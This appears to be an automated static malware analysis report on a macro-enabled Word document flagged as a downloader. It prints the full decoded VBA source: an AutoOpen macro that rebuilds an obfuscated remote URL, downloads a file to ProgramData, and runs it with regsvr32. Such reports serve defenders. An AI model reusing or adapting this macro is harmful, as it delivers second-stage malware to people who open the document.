Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a2e92e5c97bc8214…

MALICIOUS

Office (OOXML)

117.1 KB Created: 2020-06-09 09:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: d7c4d674fb8cc6a862e60ffe1deadc98 SHA-1: 38baff26eb9ba080036fe4d037f79153361a6034 SHA-256: a2e92e5c97bc8214fc00119442a91ccb27765201de640c865f2add6b0b681766
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The AutoOpen macro is designed to execute automatically upon opening the document. It utilizes the URLDownloadToFile function, indicating an intent to download and execute a second-stage payload from a remote source. The ClamAV detection and heuristic firings strongly suggest this is a downloader malware.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Hx"
Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4844 bytes
SHA-256: 66550cf63f521d3c30894be4139f860877e538f8d48394cf70c3b72898f260cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Hx"
Sub AutoOpen()

' Immensity
' Ti investment swindle refurbished vixen
' Rest cherokee long mauritania
' Raspberry plots
Dim Kf As New a

' Restaurants domesticity whale
' Transcendent wherever amorphous
Kf.e F3(0), F3(1)

' Bivouac human philanthropic army
' Barque stewardess seam meekness multiplication
' Sue
' Managers canada textbooks phosphoric diadem coasting inflexible
' Sensational
Dim xg As New Q

' Sediment transmitting
' Limitations tally resource
' Definitive veterans barricade views redundant musicians
' Years

' Excise worm pies imprudent
' Amatory depends forge journalist lima
' Tardy barcelona prospects cottage
' Carboniferous scuba predominant crowbar stagger tome

' Scope cologne documentation
' Prefers sardonic
' Petrol organise songs
' Nonchalant allegorical vampire
' Barbie oddity

' Kitty lotus obtuse
xg.d "regsvr" & 32 & " " & F3(1)
End Sub

Attribute VB_Name = "a"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
#If VBA7 And Win64 Then
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal lpfnCB As LongPtr _
) As Long
#Else
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long _
) As Long
#End If
Private Sub Class_Initialize()

' Lexington browse hydra agonized
' Conservative knox quarterly
End Sub
Private Sub Class_Terminate()

' Cordless lye
' Providers lagging
' Shannon expenses chambers
End Sub
Public Sub e(Wi, I4)

' Disconcert partially adhere
' Bouquet hon calvin complimentary latinas roe gambia lunar
' Gage mount portions
' Peruse climate avidity hans tokyo co-operative
' Culmination

' Stilled threat
' Measuring
' Pakistan inducing zum any mediator
URLDownloadToFile 0, Wi, I4, 0, 0
End Sub

Attribute VB_Name = "Q"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function d(jV)

' Action
' Beer shares contra
' Confidential abhors
' Phosphorus butterfly aggregate cuirass endanger
Dim OS As New WshShell
OS.exec jV
End Function
Function te(A4)
    
' Rh premises bicycle
' Ocean boot
' Scholarly spelling incoming
' Verity
' Beverage obloquy chlorine
' Approval baptize versed libertine

' Pads medusa until chemistry
' Rn invoice
' Vapid violent interventions
' Elsewhere campbell comments
' Landing confront
End Function

Attribute VB_Name = "Hx1"
Public Const rm As String = "!!!"
Public Const Q8 As String = "???"
Public Function N()

' Skiing
' Apposite aiding
' Prickly phlegmatic blond
' Infantile cradle
Dim arr1(2)
arr1(0) = Trim("h???t???t???p???:???/???/???h???z???o???0???a???u???t???9???7???b???f???u???7???z???w???e???b???.???c???o???m???/???h???d???i???")
arr1(1) = Trim("l???/???k???z???e???x???.???p???h???p???????l???=???s???o???u???b???7???.???c???a???b???!???!???!???c???:???\???p???r???o???g???")
arr1(2) = Trim("r???a???m???d???a???t???a???\???1???8???7???8???7???0???9???6???.???d???a???t???")

' Acumen mi naive broader
' Shackles plug honors
' Trader gambling actively computing
N = arr1
End Function
Function F3(nA)

' Stubbornly indonesian
' Absorbs campus regimen
' Allegorical ordain eating
wY = Join(N, vbNullString)

' Cingular scenic reciprocity sporting
' Demerit
' Bewilder chaldean hidden k calibre wallpapers assistant

' Technological skirt cracking worthiness
' Elvis investors screensavers deflection
' Divorce tributaries smell
' Cameras mountain romanticism saddened
' Media coxcomb vitals
wY = Replace(wY, Q8, vbNullString)

' Wear equitable vibrators
' Tantamount yemen
' Kenny improved diablo non-existent pharmacy
F7 = Split(wY, rm)

' Hartford retrieve trumpery woody plumbing
' Describe fred blazoned pontiac others
' Sees unhealthy
If nA = 0 Then F3 = F7(0)
If nA = 1 Then F3 = F7(1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 425685290167f87911ea7c0a5f564ae1f483fbc2e32464aca8390b55e3539ff8

Open this report in the interactive analyzer, or submit your own file for analysis.